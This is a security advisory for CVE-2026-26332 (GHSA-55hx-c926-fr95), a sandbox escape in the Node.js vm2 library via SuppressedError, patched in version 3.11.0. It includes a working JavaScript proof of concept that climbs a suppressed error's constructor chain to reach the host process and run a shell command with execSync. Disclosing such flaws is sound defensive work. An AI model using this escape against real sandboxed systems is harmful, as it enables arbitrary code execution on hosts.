CVE-2026-26332 — vm2: Sandbox Escape

Affected: patriksimek vm2, Red Hat Developer Hub, Red Hat Self-service automation portal 2

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

GHSA-55hx-c926-fr95 — VM2 Has a Sandbox Escape Issue via SuppressedError

Affected: npm: vm2

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC ```js const { VM } = require("vm2");

const vm = new VM();

vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

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CVE-2026-26332 — vm2: Sandbox Escape

GHSA-55hx-c926-fr95 — VM2 Has a Sandbox Escape Issue via SuppressedError